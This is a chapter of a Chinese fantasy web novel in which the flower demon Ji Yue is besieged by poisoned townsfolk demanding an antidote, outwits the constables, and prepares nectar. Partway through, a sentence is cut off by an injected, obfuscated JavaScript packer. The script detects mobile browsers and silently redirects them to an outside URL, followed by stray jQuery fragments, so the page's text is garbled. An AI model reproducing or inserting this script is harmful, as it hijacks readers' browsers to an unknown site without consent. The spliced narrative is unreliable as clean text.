35. 春风吹又生(八)
作品:《花妖偷渡手记》 众人抬头一看,光秃秃的柳树枝干上斜坐着一人,红色裙摆在风中飘来荡去,恰似一朵红云。
这千娇百媚的面容,睥睨众生的神态,不正是大家千呼万唤的季月吗?
人群立即鼓噪起来,“季姑娘!请赐解药!”
“季姑娘!快救救我们!”
季月奇道,“什么解药?”
上百人一同说话,她一句也没听清。
祝三娘一松手,画像被风卷起,飞到树梢。
季月伸手接过,看到自己的脸,先是一怔。旁边写的五个字,恰巧她都是认识的。
解药此中藏。
她把这薄薄的纸翻过来翻过去,对着阳光审视,哪里有什么解药?
再看那作画用的绿色,正是穿心草本来的颜色,仔细一闻,纸面上还残留着一丝妖气。
这可恶的老妖,又在耍什么花招!
季月把纸揉成一团,扔下树去,“我不知道你们在说什么。你们若实在难受,去找沈大人吧。”
“我吃了沈大人给的药,毫无起色啊!”
“你若没有解药,为何大家都收到这张纸呢?”
“你是我们唯一的指望了。”
“此事终归和你有关。”
“季姑娘,你不妨回去仔细找找?”
“季姑娘,你只要肯拿出来,价钱好商量。”
声音一浪高过一浪,季月根本插不进话。
祝三娘突然扑通一声跪倒在地,哭喊道,“发发慈悲吧!救人一命胜造七级浮屠啊!”
人们有样学样,转眼跪倒一片。
季月惊呆了。
她说的明明是实话,这些人怎么完全听不进去呢?
韩思年被挤得贴在墙根,动弹不得,高声劝道,“诸位街坊,先起来吧。让季姑娘从树上下来。”
一个络腮胡大汉吼道,“左右都是死,没有解药,我就跪死在这里!”
季月冷冷道,“你死你的,和我有什么相干?”
人群沸腾了。
“你这女子,怎能如此没有心肝!”
“是啊,你见死不救,来日必遭报应!”
韩思年看季月斜坐枝头,脸上如同结了一层霜,很是替她着急。一个弱女子,遭此困局,想必已经方寸大乱。为今之计,只有想个妙法支开众人,掩护她逃跑。
街道完全堵死,走是走不过去了。他偷偷望了一眼身后的玉川。走水路,或许可行。但这个节骨眼,水面上连一艘小舢板都没有,上哪儿去找船夫呢?
他向河对岸望去,望月桥另一端,来了一队官差。一行人腰悬佩刀,大声呼喝,似乎在要求人群让开。
人群早就把望月桥的桥面铺满了,如同搭了一座“人桥”。官差们蛮横地从“人桥”上强行挤过来,惊叫呼痛之声此起彼伏。
过了桥,同样是乌泱乌泱的人,官差们手脚并用,左推右挤,如爬沙,如赶海,硬是将人潮撕开一道裂隙。为首的那人帽子都被撞歪了,高举一只手,粗着嗓子喊道,“奉县衙之命,捉拿季月,闲杂人等速速闪开!”
他举起来的那只手里,也拿着一张一模一样的纸。
季月耳朵尖,听得清清楚楚,怒极反笑,“县衙凭什么抓我?”
官差四下张望一圈,才发现声音来自头顶一棵柳树的枝干。他们奉命捉拿之人,正爬在树上不肯下来。
“大胆刁民,还不束手就擒?”
他话音未落,不慎绊在旁边一人的脚上,哎哟一声跌倒在地。
后面的人潮一层层涌上来,他匍匐在地,背后似有千钧之重,无数人的脚踩上来,痛得呕出血来。
眼看快被踩死,一只强有力的手抓住他的胳膊,把他提了起来。
这一下死里逃生,他揉着胸口,认出救命恩人乃是县衙年纪最小的衙役,许小宝。
许小宝抬起头,朗声说道,“月姐姐,是我啊。”
季月微微颔首。
许小宝住在琳琅阁隔壁,栖音用穿心草制成的琴弦杀人时,曾经把他当成目标。他如今还能先龙活跳地站在这里,多亏了季月一时心软,救了他一命。
“月姐姐,昨晚一夜之间,中毒之人都收到同一幅画像,说你有解药。此事干系甚大,知县大人有令,要抓……要请你回县衙说明原委。”
“我已说过了,不知道什么解药。”
络腮胡大汉干嚎起来,“求知县大人为民做主啊!”
人群里哭的哭,闹的闹。许小宝高声喊道,“今日场面如此混乱,万一出了事,知县大人怪罪下来,恐怕要算在你头上,到时不好交待。”
季月瞪大眼睛,“荒唐!是他们自己要来的,与我何干?我说没有解药,他们又不信,莫非是中的毒渗进脑子了?县衙若真要追查此事,应该先想想,这些纸从何而来。”
那险些被踩吐血的官差好不容易喘匀了气。张老太爷不知何时挤到他边上,对着他耳语几句。那官差点点头,拔出刀,遥指季月,喝道,“不错,押进牢房,大刑伺候,看你说不说实话!”
季月的眼神像刀子一样,射向张老太爷,“这位老伯,我可曾得罪过你?”
张老太爷老脸红了红,小声嘟囔了几句,季月只依稀听到“解药”、“都没有活路”,云云。
她又好气又好笑,眼珠变红一瞬,官差手里的钢刀脱手飞出,在人群头顶翻了几个筋斗,扑通一声,掉进了玉川。
官差只感到手里一空,却因视线被挡,没见到刀落水,兀自在原地团团转,“刀去哪儿了?谁看到我的刀了?”
韩思年早就搬来工匠的梯子,爬到顶端,一直盯着玉川河面,这时突然大叫,“有船来了!季姑娘,快跳到船上逃走!”
上游果然有一艘乌篷小船缓缓驶来,船夫手执长篙,站在船尾,正好奇地伸长脖子看岸上的热闹。
季月冷笑。
她纵横妖界几百年,打了无数场架,有输有赢,从不逃走。
何况,面对弱小的人类,她何必要逃?大可以召一阵风,把这些人都吹进水里,填满玉川河道,落个耳根清净。
中了穿心草之毒不是他们的错,可他们实在是蠢到家了。
转念一想,草妖如此大费周章,画图留字陷害,不就是想把她卷进这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084242|179499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场争端吗?看她与众人相斗,既是报复徐知县强夺酒楼之恨,又是报复季月不肯带他去妖界之仇。
好一个阴险狡诈,心机深沉,步步为营,一箭双雕的老妖!
季月转转眼珠,有了主意,面向众人,朗声道,“好吧,你们既然口口声声说我有解药,我就给你们解药。”
下方百余人刹那间鸦雀无声,全都眼巴巴地望着她。
“明日辰时三刻来琳琅阁,带上银子,不可早到。”
百余张脸上渐渐露出狂喜的表情。
“我就说她有解药!”
“我们有救了!”
“带多少银子啊?”
“还问什么,把家里银子全带上!”
方才诅咒季月的人伏在地上,砰砰磕头,“季姑娘大恩大德,将来必有后福!”
官差见她态度突然转变,怀疑道,“为何要明日再给?你可别耍花招,还是先随我们去衙门交代清楚。”
季月冷笑一声,“我若跟你走,这些人可就拿不到解药了。你们自行决断吧。”
这一招祸水东引,坐山观虎斗的计策,老妖使得,她也使得。
人群果然调转矛头,面向官差。
“带去衙门,还回得来吗?”
“把她下狱,不等于要我们的命嘛!”
“解药进了县衙,可未必能分给大家了。”
众人你一言我一语,聒噪个没完,张老太爷又贴在官差耳朵边说了几句。
官差拧着眉,和许小宝交换了眼色。
“今日暂且不抓你。解药之事,不得有误!闲杂人等,不要在此逗留,速速散了。”
人群退潮般散去。许多人还舍不得走,在树下徘徊,想找机会和季月搭话。
季月一概不理,坐在树上,望着一朵形似兔子的白云从东边飘到西边。
韩思年爬在梯子上,给她抛了只橘子,她接过来吃了。
有眼尖的,看出韩思年和季月关系非同一般,暗自盘算如何通过他接近季月。
到了午后,韩思年趁人不备,爬上梯子,对季月耳语,“我已备了辆马车,车上有五十两银子和几套衣服,你赶紧坐车往北走,离开南安县。”
“我为什么要走?”
“难道你真的有解药?”
“没有还不能现做吗?你替我准备五百只装水的小瓶子,明天要用。”
韩思年惊疑不定,“要那么多瓶子做什么?”
“我自有道理。”
天黑以后,季月才从树上下来。
她找了个僻静的角落,闭目凝神,运起功力,一束光晕从脚下慢慢往上移,逐渐移到头顶,最后脱离身体,凝结成一颗晶莹玉润的花蜜。
她伸掌托住。
花蜜是不可多得的好东西,给妖用,增进修为,还能疗伤,给人用,补气养颜,还能润燥。连妖界奸商白胡子老头见了这东西,都兴奋得两眼放光。
她从琳琅阁的废墟里挖出一只大水缸,灌满清水。用小指甲尖掐了一下花蜜,一把粉末落入缸中。水面在月色下泛出淡淡的柔光,还有一股若有似无的清香。

